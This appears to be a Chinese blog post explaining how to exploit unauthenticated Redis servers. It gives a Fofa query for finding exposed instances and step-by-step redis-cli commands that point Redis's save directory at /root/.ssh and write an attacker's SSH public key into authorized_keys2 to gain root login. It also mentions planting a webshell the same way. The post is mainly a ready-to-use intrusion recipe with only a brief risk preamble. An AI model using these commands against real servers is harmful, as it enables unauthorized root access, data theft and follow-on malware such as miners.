Rides 未授权访问
前言
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
Fofa
protocol="redis"
Rides-cli安装
下载rides-stable文件
wget http://download.redis.io/redis-stable.tar.gz
解压文件
tar -zxvf redis-stable.tar.gz
直接使用src目录下的rides-cli工具即可
./redis-cli -h 目标主机IP地址 -p 端口号
漏洞利用
1.生成公钥和私钥
ssh-keygen -t rsa
2.使用redis-cli链接rides
./redis-cli -h 127.0.0.1
3.设置redis为以下内容
config set dir /root/.ssh/
config set dbfilename authorized_keys2
4.将我们刚刚生成的公钥文件放到/root/.ssh/
目录下,记得使用save保存哦
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSQAsZc1SWyjQIw1h9M25+jM0QONThZkL8IUjPIu87GM+PfvbKt2tqC1hDlmdiR0uTdJb/B5ysw4WqjhlHhI+n9CLI5LkKAZKD//aX8bLW20q/wNkFYTh2K0JX0YHA8B6D0XOjvZzWlVKaB2K1JvusHmekeQER7jLHyseyzieeMmIKps+28DneXm0zAN6AHDZkIIItcamFOneTblyK34fMgL3/hyb6MO30JNeDeIfk98UEc5OOmcximMcrTiEewH5PMBCra9omR2+0GF3Ws1ruMS070XLclx+e5nQqrVxVlkPJztAMFJd1EXSNBgw/+V34tOrMkRmUQ6O1GBvwbmcJPPgjJ2Sxl/wUApQLfRiHSPFeCvruFB7CANZBO+Lrty+vnAgn8aWWUgcz9LIarepNBymiMyC5ai7yYW9/GmqvS2lF91iHaNWS58ubEgZ4VoXQVi3OAt2DI7Zxiqp8pUfqv+aFz/8RQGrhYf7Tb8QMMKsY2G5uTnKVKh7wOuyaRs0= root@kali\n\n"
save
5.使用生成的私钥登录成功
注意
如果想要访问root目录,必须具有root权限,也就是redis必须是root权限运行的才可以哦
也可以使用同样的方式写入webshell,不过需要知道网站的绝对路径和目录可操作权限
参考:
https://www.cnblogs.com/lcxblogs/articles/13534983.html
https://blog.csdn.net/limb0/article/details/100768767
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】